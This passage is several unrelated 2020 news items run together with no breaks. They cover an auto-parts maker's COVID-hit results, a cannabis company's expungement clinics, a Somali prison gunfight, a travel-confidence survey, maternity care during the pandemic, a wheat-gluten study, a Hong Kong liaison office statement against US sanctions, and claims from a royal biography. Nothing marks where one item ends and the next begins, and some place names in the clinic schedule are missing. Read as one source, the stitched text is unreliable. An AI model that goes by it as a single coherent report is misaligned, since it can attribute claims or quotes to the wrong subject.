have been adversely impacted by the outbreak of COVID-19 pandemic and the consequent lockdown announced by governments in many of the jurisdictions, the group operates, due to which the operations were suspended for a large part of the quarter and resumed only gradually with prescribed regulations and precautions," MSSL said. The consolidated financial results for June quarter are therefore not comparable with those of previous periods, it added. The group has been taking several measures to address the operational challenges, including availing of benefits under the various government support schemes announced in the respective countries, it said. Commenting on the performance during the quarter, MSSL COO Pankaj Mital said in April and May, there were really no production in the company's biggest geographies -- Europe and North American regions. "There has been an impact there because that's where the largest volume of business is happening," Mital told PTI. Even in India, there was no commercial activity or very little commercial activity in April and May, he said, adding that plants in some countries such as China, the UAE and Thailand however continued to operate during the quarter. Mital said the company is gradually ramping up production globally with 84 per cent of the plants running at more than 50 per cent capacity as of July 24 with many countries coming back to normalcy from COVID-19 induced lockdowns. MSSL Chairman Vivek Chaand Sehgal said: "(The) coronavirus pandemic has created unprecedented challenges for the global automotive industry. Lockdown in various parts of the world severely dented demand for automobile sector in the first quarter of the fiscal." He said that the company's topmost concern and focus during this period were the wellbeing and safety of MSSL employees across all the plant locations and that it worked on a war footing to put robust safety protocols in place. Even though the first quarter was a washout, he said, economies have started witnessing green shoots of recovery. "Our teams and plants across the globe have also resumed operations and are working closely with our customers to fulfil their requirements. We now expect demand for the auto industry to gain momentum in the coming quarters of this fiscal year," Sehgal said. On the outlook, Mital said the situation is getting better. "Now we see much better demand. In quarter two, a stronger demand is being seen. We see good visibility now as we go forward. It is becoming better and better," he noted. MSSL said strong demand is sighted for the second quarter and is encouraged by consistent improvement at greenfield plants of group firm SMP, which represents subsidiaries of Samvardhana Motherson Automotive Systems Group B.V, engaged in manufacturing and supplies of plastic parts and system modules for vehicle interiors and exteriors. Leading national cannabis company to host free clinics to help remove, seal, or reclassify eligible convictions from criminal records TALLAHASSEE, Fla., Aug. 11, 2020 /PRNewswire/ - Trulieve Cannabis Corp. (CSE: TRUL) (OTCQX: TCNNF) ("Trulieve" or "the Company"), a leading and top-performing cannabis company in the United States, and the largest cannabis company in Florida, announced today that it will be hosting expungement clinics as part of National Expungement Week, September 19th 26th, 2020. Over the course of the week, Trulieve will host four expungement clinics in Florida: September 19th Pinellas / Hillsborough / virtual ( Tampa , Clearwater , St. Pete) / / virtual ( , , St. Pete) September 21st Broward / Miami Dade / virtual county area (West Palm, Miami ) / / virtual county area (West Palm, ) September 23rd Pinellas / Hillsborough County area ( Tampa , Clearwater , St. Pete) / area ( , , St. Pete) September 25th Orange County area ( Orlando and surrounding cities) Trulieve has committed to sponsor the expungement or sealing of records for 125 individuals in the markets listed above, and an additional 25 in Massachusetts during a clinic scheduled for September 25th. Michael Minardi, Senior Partner at Minardi Law, will be the attorney on site at the Florida clinics. To learn more about cannabis laws, expungement and who qualifies watch our latest TruTalk with Mr. Minardi of Minardi Law here. Applications to be sponsored are now open. To apply to be sponsored at Trulieve's National Expungement Week clinics, please fill out the full application found here before Tuesday, August 18, 2020. Individuals with criminal records often experience collateral consequences that impact their lives for years after sentences have been served. Such collateral consequences include reduced access to housing, employment, education, and public assistance, as well as the inability to vote. For many, a conviction for even a low-level, non-violent drug offense can be detrimental to livelihood and opportunity. Even as the United States moves away from criminalization of cannabis, millions are still serving time and facing lifelong adversity while the legal cannabis industry grows. As a leader in the industry, Trulieve is determined to provide resources that empower and promote opportunity for those impacted by a system of enforcement that has disproportionately affected low-income and communities of color. "Our mission as a company is to improve people's lives. But we won't limit that mission to the products we sell," said Kim Rivers, CEO of Trulieve. "While there are direct ties between cannabis and criminal justice, National Expungement Week is not a cannabis-specific initiative. We urge other sectors to engage in similar conversations and actions to create a more fair and equitable society for those who have been disenfranchised." Additionally, Trulieve will have a voter registration booth at all clinics to give attendees the opportunity to register in time to participate in this November's election. To check the status of a pertaining state's record to find out what may be eligible for relief, search the Collateral Consequences Resource Center. About Trulieve Trulieve is a vertically integrated "seed-to-sale" company and is the first and largest fully licensed medical cannabis company in the State of Florida. Trulieve cultivates and produces all of its products in-house and distributes those products to Trulieve-branded stores (dispensaries) throughout the State of Florida, as well as directly to patients via home delivery. Trulieve also operates in California, Massachusetts and Connecticut. Trulieve is listed on the Canadian Securities Exchange under the symbol TRUL and trades on the OTCQX Best Market under the symbol TCNNF. This press release does not constitute an offer to sell or a solicitation of an offer to buy nor shall there be any sale of any of the securities in any jurisdiction in which such offer, solicitation or sale would be unlawful. The securities have not been and will not be registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act"), or the securities laws of any state of the United States and may not be offered or sold within the United States (as defined in Regulation S under the U.S. Securities Act) unless registered under the U.S. Securities Act and applicable state securities laws or pursuant to an exemption from such registration requirements. To learn more about Trulieve, visit www.Trulieve.com . The Canadian Securities Exchange has not reviewed, approved or disapproved the content of this news release. Forward-Looking Statements This news release includes forward-looking information and statements, which may include, but are not limited to, information and statements regarding or inferring the future business, operations, financial performance, prospects, and other plans, intentions, expectations, estimates, and beliefs of the Company and statements with regard to the Report and the Company's response thereto. Words such as "expects", "continue", "will", "anticipates" and "intends" or similar expressions are intended to identify forward-looking statements. These forward-looking statements are based on the Company's current projections and expectations about future events and financial trends that management believes might affect its financial condition, results of operations, business strategy and financial needs, and on certain assumptions and analysis made by the Company in light of the experience and perception of historical trends, current conditions and expected future developments and other factors management believes are appropriate. Forward-looking information and statements involve and are subject to assumptions and known and unknown risks, uncertainties, and other factors which may cause actual events, results, performance, or achievements of the Company to be materially different from future events, results, performance, and achievements expressed or implied by forward-looking information and statements herein. Although the Company believes that any forward-looking information and statements herein are reasonable, in light of the use of assumptions and the significant risks and uncertainties inherent in such information and statements, there can be no assurance that any such forward-looking information and statements will prove to be accurate, and accordingly readers are advised to rely on their own evaluation of such risks and uncertainties and should not place undue reliance upon such forward-looking information and statements. Any forward-looking information and statements herein are made as of the date hereof, and except as required by applicable laws, the Company assumes no obligation and disclaims any intention to update or revise any forward-looking information and statements herein or to update the reasons that actual events or results could or do differ from those projected in any forward looking information and statements herein, whether as a result of new information, future events or results, or otherwise, except as required by applicable laws. SOURCE Trulieve Cannabis Corp. Seven Killed as Al-Shabab Inmates Fire at Somali Prison Guards By Harun Maruf August 10, 2020 Somali security forces have shot dead four armed inmates after a fierce gun battle in Mogadishu's central prison, security officials told VOA Somali. Three prison guards were also killed in Monday's incident, officials confirmed. The inmates, all members of Islamist militant group al-Shabab, had obtained three pistols and six hand grenades smuggled into the prison, a senior security official told VOA. The inmates attacked guards, sparking the confrontation. Two other inmates suspected of involvement were wounded and apprehended, according to officials. One inmate is believed to have escaped the facility. Officials said they believe the escapee killed the driver of a rickshaw and another civilian outside the prison. The gunfire started in the section where inmates serving a life sentence are held, according to the official. The security official said it is believed the weapons were hidden in food and other items smuggled into the prison when inmates receive visits twice a week. An inmate held in a different part of the prison who was interviewed by a local radio said the shooting started during change of shift by the guards. The central prison is located next to Mogadishu's seaport and is heavily guarded. Dozens of al-Shabab inmates are held at the facility, including some who are on death row. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Indians, among the most travelled before the COVID-19 pandemic struck, are the most confident in the world about resuming their international adventures once they allowed to do so. They also top the list of people most eager to travel internationally in the next 12 months with 77 per cent saying they are keen to travel, followed by Thais at 70 per cent and Indonesians at 60 per cent. Singapore is the most favoured destination for people living in India, Indonesia, Thailand, Hong Kong and the Philippines when it comes to post-lockdown travel. This was revealed in a newly released study conducted jointly by social research agency Blackbox Research, data provider Dynata and language partner Language Connect, Unravel Travel: Fears & Possibilities in a Post Coronavirus (COVID-19) World. It examines the sentiments, preferences, and expectations of 10,195 people across 17 countries regarding travel in a post-COVID-19 world. However, with bad news continuously emanating from the travel industry, travellers will have to put their plans on ice for the foreseeable future as the new normal in travel is still some time away. Two weeks ago, travel booking giant Expedia reported a steep 82 per cent revenue decline to USD 566 million in the second quarter (for period ending June) and a USD 577 net loss. A year earlier, the firm had a net income of USD 276 million. Last week, French hotel group Accor which owns luxury accommodation brands such as Swissotel, Sofitel and Raffles posted half-year losses of 1.5 billion euros (USD 1.77 billion) compared with a profit of 141 million euros one year ago. In addition, it announced that it was slashing 1,000 head office jobs worldwide out of a global corporate headcount of 18,000. Also last week, Richard Bransons Virgin Atlantic, which is 49 per cent owned by Delta Air Lines, filed for Chapter 15 bankruptcy protection in New York. This is the second airline owned by Branson that is seeking the protection of courts, the first being Virgin Australia. Chapter 15 is slightly different from the usual Chapter 11 as it is designed for companies that operate in multiple countries. Virgin Atlantic based in Britain, is attempting to put together a private rescue package after having previously attempted to obtain a British government bailout. Singapore Airlines reported a historic loss in its latest fiscal quarter (for the period April to June) of SGD 1.12 billion (USD 812 million). Following that, it announced pay cuts for all management and rank-and-file staff, as well as an early retirement programme for ground staff and pilots. Earlier, with support from government investment arm Temasek and other shareholders, it has managed to raise some SGD 15 billion (USD 10.9 billion) to weather the COVID-19 storm. Geneva-based International Air Transport Association (IATA) does not expect air travel to be restored to 2019 levels until 2024. With the COVID-19 virus rampaging throughout the world causing people to shelter in their homes for most of the last few months, the World Tourism Organisation (UNWTO) Tourism Barometer showed a precipitous fall of 98 per cent in international arrivals in May this year when compared with May 2019. The Barometer also uncovered a 56 per cent decline in tourist numbers for the first five months of this year, translating into a loss of 300 million tourists and USD 320 billion lost in international tourism receipts. This is more than three times the loss during the global financial crisis of 2009. Although there are hints of a gradual and cautious resumption of travel, confidence is low. A majority of the World Tourism Organisation (UNWTO) panel of tourism experts expect international tourism will only recover in the second half of 2021. When travel can resume under a new normal travel framework, the Unravel Travel survey found that with a score of 76, India and Thailand are tied for top position for nationalities most confident of travelling. Asian countries dominate the countries that scored above the global average of 61, including China (69), Indonesia (65), Singapore (64). France and Germany also rated above the global average. At the other end of the spectrum, Japan was rated the most cautious with a score of 40, followed by the Philippines (43) and Hong Kong (50). Other countries that scored below the global average include Sweden, New Zealand, UK, Canada and the United States. Saurabh Sardana, Chief Operating Office of Blackbox Research, said that each countrys score reflects a balancing act between a number of considerations -- the perceived importance of tourism to the countrys economy, national management of COVID-19 cases and even past experiences of similar epidemics. Notably, New Zealands low case achievement has led to the countrys more cautious attitude towards international travel. In another finding, the Unravel Travel study showed that contactless travel is something travellers would expect once they can resume travelling. 76 per cent of respondents indicated that their preferred destinations would be countries that offer more reliable contactless experiences. In terms of what the future of travel looks like, the study found that e-boarding passes (41 per cent), touchless lavatories (43 per cent), contactless journeys between airports and hotels (40 per cent), no more middle seats in transportation (36 per cent) and digital health passports (35 per cent) are some of the new ideas that global travellers hope to see implemented in the near future. Governments will need to play a key role in messaging and ensuring travellers safety, as well as empowering the tourism industry through investment in new technology and innovation that would ensure a seamless, contactless travel experience that is sustainable, Sardana added. The first movers will cash in on the pent-up demand as borders open. (This story has been published from a wire agency feed without modifications to the text. Only the headline has been changed.) Follow more stories on Facebook and Twitter "The baby is dead. We cant assist you here. By the time she heard these devastating words, the pregnant Yasmelis Casanova had endured a long and painful journey, passing through multiple Covid-19 checkpoints, to the hospital in Caracas, Venezuela. She bled for hours without treatment. When doctors at a second hospital finally operated on her, they removed her ovaries without her prior consent. Then, she spent 20 days there almost entirely alone; due to Covid-19 restrictions, visits were banned. Venezuelas health-care infrastructure was crumbling well before the pandemic, but the Covid-19 crisis has pushed it to the point of collapse. Many women experiencing obstetric emergencies now struggle to reach hospitals, let alone gain access to adequate care. Yet such failures can be seen far beyond Venezuela, in rich and poor countries alike. Last month openDemocracy released the results of a global investigation into the treatment of women in childbirth during the Covid-19 pandemic. Across 45 countries from Canada to Cameroon, from the United Kingdom to Ecuador we found what doctors and lawyers describe as shocking and unnecessary breaches of laws and World Health Organization guidelines intended to protect women and babies during the pandemic. The WHOs specific Covid-19 guidelines affirm, for example, that women should be accompanied by a person of their choice while giving birth. Yet, across Eurasia and Latin America including in at least 15 European countries women have been forced to give birth without companions. Likewise, the WHO asserts that procedures like C-sections should be performed only when they are medically necessary or have the womans consent. Yet in 11 countries, women reported that they did not consent to C-sections, inductions, and episiotomies (the cutting of a womans vagina) that were performed on them, or said that they did not believe these procedures were medically necessary. WHO guidelines also dictate that women receive breastfeeding support and the opportunity for skin-to-skin contact with newborns. Yet mothers have been separated from newborns in at least 15 countries including at least six European countries and prevented from breastfeeding in at least seven, even though there is no conclusive evidence that Covid-19 can be transmitted through breast milk. Doctors and health experts agree: none of this is necessary to prevent the spread of Covid-19. Likewise, there have been multiple reports of pregnancy deaths in Africa, after transport and other lockdown restrictions prevented women from reaching hospitals. Many women in developing countries have been forced to give birth in unsanitary and unsafe conditions. Experts now warn that over the course of just six months, Covid-19 restrictions and health-service disruptions could cause up to 56,700 additional maternal deaths in low and middle-income countries. If this is not enough to expose the flaws in current Covid-19-prevention measures, consider how unevenly they are implemented (and lifted). In some parts of England, women can now take their partners to the pub, but not to antenatal appointments. This reflects a long history of the postcode lottery dictating access to health care and other services, from in vitro fertilisation clinics to domestic violence shelters. And it fits a wider global pattern of downgrading womens rights and needs, including during childbirth. Just last year, a WHO-led study reported that 42% of the women interviewed by researchers in Ghana, Guinea, Myanmar, and Nigeria said they had experienced physical or verbal abuse, stigma, or discrimination in health facilities during childbirth. In Latin America, several countries including Argentina, Ecuador, Mexico, Uruguay, and Venezuela have passed laws against the performance of medical procedures, such as C-sections, without informed consent. However, they are very rarely enforced, and advocates report that authorities and medical staff normalise such obstetric violence. In fact, before the pandemic, 40% of babies across Latin America were already being delivered by C-section, though this method poses higher risks for mother and baby. The WHO recommends a rate of around 15%, emphasising that C-sections should be carried out only when medically justified. Furthermore, most African countries were already off track to meet their targets for reducing maternal and infant deaths by 2030, part of the United Nations Sustainable Development Goals. As Jesca Nsungwa Sabiiti, Ugandas maternal and child health commissioner, has said, the pandemic is likely to delay achievement of the targets even further. However, just as the Covid-19 crisis can impede progress, it can also spur change, by forcing governments and civil society to rethink how our health systems, economies, and societies are organised. So far, discussions especially among policymakers have tended to be narrow, focused on short-term solutions. If we are to build the equitable, resilient, and sustainable post-Covid-19 world that many leaders advocate, we must embrace a much more ambitious vision of what public health really means. In recent years, the number of people affected by coeliac disease, wheat allergy or gluten or wheat sensitivity has risen sharply. But why is this the case? Could it be that modern wheat varieties contain more immunoreactive protein than in the past? Results from a study by the Leibniz-Institute for Food Systems Biology at the Technical University of Munich and the Leibniz Institute of Plant Genetics and Crop Plant Research are helping to answer this question. Wheat grains contain about 70 percent starch. Their protein content is usually 10 to 12 percent. Gluten accounts for the lion's share of proteins, at around 75 to 80 percent. Gluten is a compound mixture of different protein molecules. These can be roughly divided into two subgroups: "gliadins" and "glutenins". It has long been known that wheat proteins can trigger disorders such as coeliac disease or wheat allergies. Approximately 1 or 0.5 percent of the adult population is affected worldwide. In addition, non-celiac gluten sensitivity (NCGS) is becoming increasingly important in the western world. "Many people fear that modern wheat varieties contain more immunoreactive proteins than in the past and that this is the cause of the increased incidence of wheat-related disorders," says Darina Pronin from the Leibniz-Institute for Food Systems Biology, who was significantly involved in the study as part of her doctoral thesis. Where gluten is concerned, the protein group of gliadins in particular is suspected of causing undesired immune reactions, explains the food chemist. 60 wheat varieties from the period 1891 - 2010 analyzed But how big are the differences between old and new wheat varieties really? In order to help clarify this, Katharina Scherf and her team at the Leibniz-Institute for Food Systems Biology investigated the protein content of 60 preferred wheat varieties from the period between 1891 and 2010. This was made possible by the Leibniz Institute of Plant Genetics and Crop Plant Research. It has an extensive seed archive. From the archive, the researchers selected five leading wheat varieties for each decade of the 120 years examined. In order to generate comparable samples, they cultivated the different varieties in 2015, 2016 and 2017 under the same geographical and climatic conditions. Analyses by the team of scientists show that, overall, modern wheat varieties contain slightly less protein than old ones. In contrast, the gluten content has remained constant over the last 120 years, although the composition of the gluten has changed slightly. While the proportion of critically viewed gliadins fell by around 18 percent, the proportion of glutenins rose by around 25 percent. In addition, the researchers observed that higher precipitation in the year of the harvest was accompanied by a higher gluten content in the samples. Environmental conditions are more relevant than the variety "Surprisingly, environmental conditions such as precipitation had an even greater influence on protein composition than changes caused by breeding. In addition, at least on the protein level, we have not found any evidence that the immunoreactive potential of wheat has changed as a result of the cultivation factors," explains Katharina Scherf, who is now continuing her research as a professor at the Karlsruhe Institute of Technology (KIT). However, Scherf also points out that not all protein types contained in wheat have been investigated with regard to their physiological effects. Therefore, there is still a lot of research to be done. ### Original publication: Pronin D, Borner A, Weber H, Scherf KA (2020) J Agric Food Chem, DOI: 10.1021/acs.jafc.0c02815. Wheat (Triticum aestivum L.) breeding from 1891 to 2010 contributed to increasing yield and glutenin contents but decreasing protein and gliadin contents Funding: The study was funded by the Leibniz Association as part of the Leibniz Competition 2015; project number: K195/2015 (WHEATSCAN: Unraveling the causes for wheat sensitivities). Background information: Wheat is one of the most important crops and an important staple food in many countries. According to the Food and Agriculture Organization of the United Nations, the global wheat harvest in 2018 was over 734 million metric tons. With over 20 million metric tons of wheat per year, Germany is one of the 20 largest wheat producers. All wheat varieties cultivated today are derived from ancient cereals that were cultivated by humans 10,000 years ago. "Gliadins" and "glutenins" differ in their molecular properties and thus influence the baking behavior of a dough in different ways. Gliadins play a role in the viscosity and extensibility of a dough. On the other hand, due to their molecular properties, glutenins form a continuous network that is responsible for the stretch resistance and elasticity of the dough. In cross-linked form, they are among the largest naturally occurring protein molecules. Read also: Differentiation of celiac disease from the clinical picture of "non-celiac gluten sensitivity" https://www.dzg-online.de/krankheitsbild.312.0.html Why einkorn wheat could be better for people with wheat intolerance Freising 11/14/2018 - Modern, but also ancient types of wheat such as einkorn, emmer and spelt naturally contain a group of protein molecules that are suspected of triggering symptoms of wheat intolerance. A new study by the Leibniz-Institute for Food Systems Biology at the Technical University of Munich shows for the first time in a direct comparison that einkorn wheat, in contrast to common wheat, durum wheat, spelt and emmer, contains no or significantly lower amounts of these proteins. The researchers have now published their results in the Journal of Agricultural and Food Chemistry. Further information is available at: https://www.leibniz-lsb.de/presse-oeffentlichkeit/pressemitteilungen/pm-14112018-pressemitteilung-einkorn-weizenunvertraeglichkeit/ Contact: Prof. Dr. Katharina Scherf Unit Head Functional Biopolymer Chemistry Leibniz-Institute for Food Systems Biology at the TU Munich Lise-Meitner-Str. 34 85354 Freising Department of Bioactive and Functional Food Chemistry Karlsruhe Institute of Technology (KIT) Institute of Applied Biosciences Phone: +49 721 608 42929 Email: katharina.scherf@kit.edu Darina Pronin Unit Functional Biopolymer Chemistry Leibniz-Institute for Food Systems Biology at the TU Munich Lise-Meitner-Str. 34 85354 Freising Email: d.pronin.leibniz-lsb@tum.de Press Contact: Dr. Gisela Olias Knowledgetransfer, Press and Public relations Leibniz-Institute for Food Systems Biology at the TU Munich Phone: +49 8161 71-2980 Email: g.olias.leibniz-lsb@tum.de http://www.leibniz-lsb.de Information about the Institute The Leibniz-Institute for Food Systems Biology at the Technical University of Munich (Leibniz-LSB@TUM) has a unique research profile. Its researchers combine methods of basic biomolecular research with analytical methods of bioinformatics and analytical high-performance technologies. Their goal is to decode the complex ingredient profiles from raw materials to the final food products and to elucidate their function as biological active molecules on humans. Based on their studies, the scientists develop products, which are as healthy as they are tasty. These foods will help to provide a sustainable and sufficient stream of food for future generations. In addition, the new scientific findings will be used to develop personalized nutritional concepts that, for example, help people with food intolerance without compromising quality of life and endangering their health. The Leibniz LSB@TUM is a member of the Leibniz Association, which connects 96 independent research institutions. Their orientation ranges from the natural sciences, engineering and environmental sciences through economics, spatial and social sciences to the humanities. Leibniz Institutes devote themselves to social, economic and ecological issues. They conduct knowledge-oriented and application-oriented research, also in the overlapping Leibniz research networks, are or maintain scientific infrastructures and offer research-based services. The Leibniz Association focuses on knowledge transfer, especially with the Leibniz Research Museums. It advises and informs politics, science, business and the public. Leibniz institutions maintain close cooperation with universities - among others, in the form of the Leibniz Science Campuses, industry and other partners in Germany and abroad. They are subject to a transparent and independent review process. Due to their national significance, the federal government and the federal states jointly fund the institutes of the Leibniz Association. The Leibniz Institutes employ around 20,000 people, including 10,000 scientists. The entire budget of all the institutes is more than 1.9 billion euros. The Liaison Office of the Central People's Government in the Hong Kong Special Administrative Region (HKSAR) voiced strong support on Monday for the counter-measure against the United States by the Chinese foreign ministry. A spokesperson of the liaison office stressed that no concessions will be made on major issues concerning China's sovereignty, security and development interests, adding that the so-called sanctions against some Chinese officials by the U.S. Treasury Department are full of absurdity. "The false claim that 'the United States stands with the people of Hong Kong' is a huge lie and joke," the spokesperson said. "The way out for Hong Kong lies in the correct implementation of 'one country, two systems'. Hong Kong's future lies in being with its strong motherland." The spokesperson pointed out that after the announcement of the so-called sanctions, countless compatriots in the mainland and Hong Kong issued just calls against the United States, expressing strong condemnation and maximum contempt for its outrageous acts. In the meantime, it has been noticed that a few representatives of the opposition in Hong Kong jump out eagerly, saying that the U.S. sanctions are "of great indicative significance," "champagne will be opened tonight to celebrate," or confidently announcing that "more sanctions will follow." "These people, with their undisguised arrogance, have once again confessed that they are the agents of the United States in Hong Kong and the pawns of the United States in messing up Hong Kong. These people have completely deviated from their own country and are completely on the opposite side of the 1.4 billion Chinese people, including all Hong Kong compatriots. They are bound to be nailed to the pillar of shame in history," said the spokesperson. The spokesperson said the clumsy performance jointly staged by the Hong Kong opposition and the anti-China forces in the United States has let more people recognize the deep connection between the anti-China forces in the United States and the chaos in Hong Kong after Hong Kong's return to the motherland, and see clearly that the Hong Kong opposition's purpose is to oppose China and create chaos in Hong Kong. "People should really think about what attitude they should hold towards the interference of external forces in Hong Kong affairs. Hong Kong is a highly internationalized place with a special history, strong social tolerance, and rich and diverse cultures. However, this cannot be the reason why we blur the national boundaries or even stand on the wrong national position. We cannot be vague on the major issues of safeguarding national sovereignty, security and development interests," the spokesperson stressed. The spokesperson said the facts have proved that the U.S. brazen imposition of the so-called economic and political sanctions on Hong Kong under the pretext of the national security legislation only aims to create more chaos in Hong Kong and instigate a "color revolution." For the United States, Hong Kong is "a beautiful sight to behold" only if it is plunged into long-term civil strife and turmoil in places like Ukraine, Iraq and Syria. The spokesperson said that Hong Kong's fate has always been closely linked with the motherland, and the rapid progress of China has provided a strong support and a broad stage for Hong Kong's future development. "As long as we make good use of the biggest advantage of 'one country, two systems', the biggest stage of the country's reform and opening up, and the new biggest opportunity brought by the Guangdong-Hong Kong-Macao Greater Bay Area development ... Hong Kong will surely be able to prevail over its current difficulties, and will surely prosper and develop together with the increasingly powerful motherland," the spokesperson added. The spokesperson pointed out that the central government has always been concerned about Hong Kong and sincerely cares for Hong Kong compatriots. "It is the guardian of Hong Kong's prosperity and stability, the defender of 'one country, two systems' and the driving force behind Hong Kong's historical turning point from chaos to governance. Hong Kong's future and destiny are bound to be with its motherland." Royal courtiers feared the rift between Princes William and Harry could spell the end of the monarchy, a controversial new book claims. Harry was said to have felt palace aides had thrown him under a bus to protect his older brother by prioritising his work. Even the Queen was concerned that the brothers at war risked the future of the Royal Family while courtiers convened a summit where the implications were discussed, the authors of the biography claim. The book, Finding Freedom, released yesterday, lays bare the falling out between the siblings and charts the lead up to Meghan and Harrys decision to stand down as senior royals and move to the US. The book, Finding Freedom, released yesterday, lays bare the falling out between the siblings and charts the lead up to Meghan and Harrys decision to stand down as senior royals and move to the US The book says high ranking aides were so alarmed at the press coverage and speculation on social media about a rift between the two brothers and their wives that they began openly discussing the impact it could have on the monarchy if things werent righted. The authors Omid Scobie and Carolyn Durand say that in the spring of 2019, courtiers attended a retreat where the concerns were openly discussed. We need to design a system to protect the monarchy full stop, one is quoted as saying. Its no secret, the future of this monarchy relies solely on the four people currently in Kensington Palace. The public popularity only lies with them... When he [the Prince of Wales] becomes King, the only way it lasts is if the four of them are not at war. We cannot have them at war. It said Harry was upset the falling out was playing out so publicly. One source told the authors: There had been moments where he felt people working with his brother had put things out there to make William look good, even if it meant throwing Harry under the bus. The book says high ranking aides were so alarmed at the press coverage and speculation on social media about a rift between the two brothers and their wives that they began openly discussing the impact it could have on the monarchy if things werent righted It was a confusing time, and his head was all over the place he didnt know who or what to believe, and he and William werent talking enough either, which made everything a lot worse. The whole situation was so out of control, a source said even the Queen was concerned. The book also told how aides feared the popularity of the Duke and Duchess of Sussex could eclipse the Royal Family and needed to be reined in. It also recounts how Meghan felt Kate did not do enough to make her feel welcome but said this was just an offshoot of the real issue at hand: the conflict between Harry and the institution. Harry is said to have likened meetings about his future to standing in front of a firing squad. He feels there were so many occasions when the institution and his family could have helped them, stood up for them, backed them up, and never did, a source is quoted as saying. The book said the biggest row was about money and that courtiers viewed Harrys position as completely unrealistic. Royal sources said that while there was sympathy now as there was then for the couples frustrations, they felt the book had painted a rather absurdly one-sided view of complicated events and family dynamics. One source told the authors: There had been moments where he felt people working with his brother had put things out there to make William look good, even if it meant throwing Harry under the bus' Astonishingly for the famously private couple, the book also tells how they boasted to friends about their son Archies growth spurt saying the growing baby was in the ninetieth percentile for height and the steps they took to baby-proof a mansion they rented in Canada. The biography also details discussions between Meghan and her friend Jessica Mulroney about what would be an appropriate outfit to wear when meeting the Queen. Other intimate details include an account of a visit by Miss Mulroney to the couples Oxfordshire home before the wedding, when the two women spent the weekend letting their hair down, wearing face masks, drinking copious amounts of wine, calling Jessicas husband, Ben, to say, hi and giggling because they were both tipsy. Other passages recount soul-baring moments under Botswanas blanket of stars on a trip the couple made together, which included details about exactly how Meghan packs her luggage. It even gives a detailed account of what she has for breakfast: a cup of hot water and lemon followed by steel-cut oats (usually with almond or soya milk) with bananas and agave syrup for sweetness. From family rows to Archies birth, its packed with... invasions of privacy For a couple so hell-bent on protecting their privacy, the book contains page after page of their most intimate moments and details explosive rows with the Palace. Here the Daily Mail outlines some of its most sensational claims. How Archies birth unfolded The book states the couples son was born looking alert as soon as he arrived eyes wide open. Quoting a friend, it says Meghan was simply relieved the uncomplicated birth had gone well. Archie Harrison Mountbatten-Windsor was born weighing seven pounds, three ounces in May 2019. Elsewhere in the book, it tells how Meghan boasted to friends that her son was now in the ninetieth percentile for height after a growth spurt. For a couple so hell-bent on protecting their privacy, the book contains page after page of their most intimate moments and details explosive rows with the Palace Baby shower made aides spit out tea Palace aides were angered by Meghans flashy New York baby shower, the book claims. Senior courtiers were said to have spat out their tea when they saw pictures of the duchess arriving at the bash. It was organised by Serena Williams and took place in the Grand Penthouse at the Mark Hotel. The party was attended by 20 of her closest friends and featured a menu prepared by a Michelin-starred chef, a flower arranging lesson and an extravagant dessert served alongside gold embellished containers filled with sugar crystals and a two-tier white fondant cake with paper figures of Harry and Meghan. The duchess was said to have returned to the UK on a high after the party travelling home with Amal Clooney on a private jet. Private jet travel was a mistake Harry conceded that taking a private jet home from a climate change event was a mistake, according to the book. He faced criticism for accepting a lift back to London from the Google Camp event in Sicily on a fellow guests private plane. The following month, he and Meghan flew from Ibiza to Nice on Elton Johns private jet, before Harry launched his sustainable tourism initiative Travalyst. He came to regret not heeding the advice of his former head of communications, Sara Latham who warned him about a potential media storm if he took the jet. The earnest prince was the first one to admit when he made a mistake, the authors write. Harry conceded that taking a private jet home from a climate change event was a mistake, according to the book Courtship in the wild For their third official date, Harry whisked Meghan away to a safari camp in Botswana where they stayed in 1,500-a-night deluxe tents. The book explains Meghan was more than happy with the alfresco toilet situation. They slept in a teak king-size bed in a room with its own private terrace and a fully equipped en-suite bathroom. The well-travelled actress made sure to pack sunscreen which proved to be especially handy for Harry, who burned easily and often forgot to use SPF protection. Meghan immediately impressed Harry with her packing skills, the book says. She also came prepared with tea-tree oil to treat bites, cuts, and pimples. While camping, she happily wandered into the woodlands if she needed a bathroom break, the authors said. Archie on a silver platter Meghan said she felt she was expected to serve her son on a silver platter after the couple faced criticism over keeping Archies christening a secret. The event was attended by just 22 guests and the names of his godparents were not made public. This proved controversial as it was revealed that the taxpayer had footed a 2.4million bill for renovations to their Windsor home Frogmore Cottage. But the authors said Meghan would not be pushed into releasing more details, telling a friend: The same people who have been abusing me want me to serve my child on a silver platter. A child who is not going to be protected and doesnt have a title. How does that make sense? Tell that to any mother in the world. Meghan said she felt she was expected to serve her son on a silver platter after the couple faced criticism over keeping Archies christening a secret Kidnap fears Meghan took part in a two-day security course with the SAS to survive kidnapping attempts. Kate didnt take part until after she was married but Meghan had received an unusually high number of death threats, the book claims. Part of the training involved a staged kidnap, where was bundled into the back of a car. She was also taught how to develop a relationship with her kidnapper and pursuit driving. She also received a series of instructions that covered everything from how to most gracefully exit your chauffeured sedan while wearing a pencil skirt to when to curtsy to members of the family several rungs up the hierarchy from you. Guests at luxury Clooney villa Prince Harry bonded with George Clooney over their shared love of motorbikes while Meghan relaxed around the pool with his wife Amal during a trip to their luxury Italian villa. The actor arranged for Harry and Meghan to fly from London to Lake Como on his own private jet, the book said. They arrived in the early evening of August 16 in Milan and were driven to the 25-room Villa Oleandra, the authors wrote. Prince Harry bonded with George Clooney (right) over their shared love of motorbikes while Meghan relaxed around the pool with his wife Amal (left) during a trip to their luxury Italian villa A source said that Meghan and Amal spent a lot of time relaxing by the pool... while George and Harry checked out Georges motorbike collection, taking one out for a spin. The book said: On the final night of Harry and Meghans stay, George hired the chef from one of his favourite local restaurants, to prepare an Italian feast. Stolen photographs The couple suffered a major data leak in September 2018 after Russian hackers managed to access an online cloud storage account that contained more than 200 unseen photos taken by photographer Alexi Lubomirski. The large set also included outtakes with eyes half closed and other unflattering moments meant for the trash can. Harry and Meghan were alarmed to hear that it was so easy to get such personal files adding it was a wake-up call that prompted them to take extra security precautions. Ex resented Meghans fame The duchesss first marriage to a TV producer failed because her husband didnt like her newfound fame, the biography claims. Meghan married Trevor Engelson on a beach in Jamaica in 2011 months after landing a role in the popular US legal drama Suits. The book claims Mr Engelson liked her to be dependent on him for his connections in the industry and describes him as the dominant character during their early years together. But the dynamic of their relationship changed after she landed her big break, which accelerated the decline of their relationship. Mr Engelson was invited to the Oscars in February 2013 but attended without Meghan by his side. He explained that he had only one ticket, but Meghan wondered if he didnt want to share the spotlight, the book says. After 21 months of marriage, the couple filed for divorce in 2013, citing irreconcilable differences. But 